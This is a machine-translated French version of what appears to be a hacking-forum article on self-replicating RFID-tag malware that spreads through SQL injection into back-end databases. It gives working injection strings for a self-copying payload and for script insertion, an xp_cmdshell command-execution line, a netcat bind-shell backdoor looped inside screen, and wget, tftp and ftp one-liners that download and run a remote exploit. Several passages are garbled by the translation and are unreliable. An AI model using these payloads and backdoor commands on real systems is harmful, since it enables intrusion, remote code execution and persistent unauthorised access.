This page has been robot translated, sorry for typos if any. Original content here.

Virus dans le piratage RFID, structure.


{Introduction}

Dans cet article, un ajout sur le piratage RFID. Les bases et le début sont présentés dans le premier article à l'adresse: http://forum.antichat.ru/thread123511.html. D'où nous avons appris que la RFID est une méthode d'identification par radiofréquence permettant de stocker et de recevoir des informations à distance en transmettant des signaux radio à l'aide d'appareils appelés étiquettes RFID.

{À propos des parasites}

Les principales fonctions du virus dans ce type d’attaque sont la copie automatique et l’exécution de code arbitraire. À ces fins, le parasite utilise généralement une base de données. Les détails dépendent de la base de données utilisée. En général, vous pouvez distinguer deux classes de virus dans ce type d’attaque: la première utilise des requêtes arbitraires dans la base de données, la seconde utilise des quines (programme spécial).
Le code arbitraire qu'un virus peut exécuter dépend des mécanismes de la réponse de la base de données aux injections SQL.


{Injection SQL}

Dans les systèmes d'administration, la méthode d'interrogation des étiquettes RFID de la base de données est généralement utilisée, avec le retour ultérieur des données, qui peuvent à leur tour être copiées dans le bon ordre. Donc, copiez les tags eux-mêmes s'il y a certains facteurs.

Pour le moment, vous pouvez envisager deux types de virus, le premier est un programme à demande unique et le second est l'utilisation de plusieurs requêtes.
Le premier type de virus, utilise un minimum d'espace, et dans sa structure ne peut pas supporter une charge de combat. Et il est utilisé uniquement pour la saisie d'informations déjà planifiées dans la base de données. Un virus qui utilise plusieurs requêtes au contraire est déjà créé pour infecter les systèmes d'auto-identification et entrer du code malveillant ou une autre charge de combat. Le plus souvent, la deuxième méthode est utilisée, mais pour un fonctionnement correct, ce type de virus exige que certaines conditions de la base de données soient correctement observées, ceci pour assurer la fonction d'accès à la fonction GetCurrentQuery-style. Ceci est nécessaire pour éviter une erreur, car cette API permet de saisir un commentaire. (Je m'empresse de vous rassurer, ces fonctions sont initialement incluses dans les systèmes par défaut)

Des attaques spécifiques peuvent être effectuées lorsque la base de données a effectué une requête dans l'étiquette et a répondu avec un tel contenu
UPDATE ContainerContents SET OldContents = '% contents%' WHERE TagID = '% id%'

Ici, le contenu des variables et l'id

Si cette requête passe sans erreur, l'attaquant peut modifier la demande à sa discrétion à l'aide de notre devis préféré (''). Et que puis-je faire ??? Et ceci pour ajouter une seule copie à la zone NewContents et infecter les autres systèmes de la même manière.

Voici en gros ce dont nous avons besoin:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Au lieu de simplement mettre à jour la zone OldContents, la requête met également à jour la portée NewContents. En utilisant le commentaire SQL (-), toutes les lignes de la base de données seront déplacées, ce qui ouvrira de nouvelles possibilités à l’attaquant.

Insertion de code malveillant

Dans la technologie d'injection décrite ci-dessus, il est impossible d'exécuter du code autre que des requêtes dans la base de données, mais lorsque celui-ci est activé du côté client, le serveur devient automatiquement vulnérable. Des scripts peuvent être insérés après le commentaire, afin que le système de base de données les ignore.
La seule chose à prendre en compte est que lorsque vous incluez le code dans l'exploit, vous devez prendre en compte le troisième paramètre SUBSTR qui doit correspondre à la longueur de l'exploit.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
Dans une version plus sérieuse utilisant des variables et insérant non seulement des sons spécifiques, cela ressemblera à ceci:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Ici, le code malveillant doit être travaillé deux fois, c’est-à-dire pour la première fois, cela s’auto-copie dans la base de données, la deuxième fois, c’est la réalisation de soi-même.

Pour le moment, la fonctionnalité de commentaire est présente dans Oracle (OCI / iSQL * Plus). Elle fournit les fonctionnalités du style GetCurrentQuery, avec les privilèges administrateur suivants. PostgreSQL, MySQL et SQL Server autorisent également les commentaires et les requêtes d'injection multiples. Ici aussi, la fonctionnalité du style GetCurrentQuery est présente. Cependant, pour PostgreSQL et SQL Server, il n’existe pas encore de virus fiable, tout n’était limité que par le développement de versions d'évaluation.


{Quelques exemples de code malveillant injecté}

Les fonctions de gestion du système fournies par les bases de données peuvent être utilisées pour causer des problèmes. Par exemple, Microsoft SQL Server fournit une fonction CLOSE qui permet à la base de données d'être privée à partir de SQL.
Lecture des données de la base de données
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' données de la requête ci-dessous peuvent être utilisées pour des requêtes directes à la base de données.
'|| (SELECT ...) ||'
Dans ce cas, les guillemets exécutent une injection SQL et interprètent les données comme un code. || l'opérateur effectue un lien de séquence, ce qui entraîne l'ajout du résultat de la requête SELECT à la région dans la base de données. Un opérateur de connexion de séquence est nécessaire, afin de nitrer le commentaire qui est nos citations préférées.


{Exécuter les commandes Shell via injection SQL}

Le serveur SQL fournit une procédure xp_cmdshell qui permet l'exécution de commandes malveillantes et peu.
EXEC Master..xp_cmdshell 'commands';

{Installation des backdoors sur le système}

Pour désamorcer le système, nous avons besoin des commandes suivantes
netcat -lp1234|sh
où le port 1234 sera écouté.

Mais ici, nous sommes piégés par le danger d’un pare-feu ou d’un brandmauer établi et correctement configuré. Et puis il y a la solution, exécutez le code dans une boucle infinie, de sorte qu'il fonctionne comme un démon, ce qui en soi vous permet de créer un back-end plus avancé.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Autres fonctionnalités}

Il existe encore des fonctionnalités utiles, par exemple wget: il est facile de télécharger un fichier sur le réseau et de stocker le fichier dans le système.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget n'est normalement pas disponible sur les systèmes Windows. Dans ce cas, vous devez utiliser tftp
tftp -i ip GET myexploit.exe & myexploit
Vous pouvez également créer un fichier texte, comme on dit à la volée, en utilisant la fonction echo
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Conclusion}

Cet article décrit la pénétration dans un système vulnérable au moyen de la programmation de tags RFID et, bien sûr, je dois vous avertir que tout le matériel présenté est uniquement à titre de référence. Compte tenu de la complexité de la mise en œuvre de la technologie, à savoir la création du label lui-même et sa programmation avec une intention malveillante, il me semble difficile pour un homme ordinaire. Donc, je préviens les personnes qui sont bien informées mais qui sont inactives, de ne pas vérifier ces informations dans la pratique.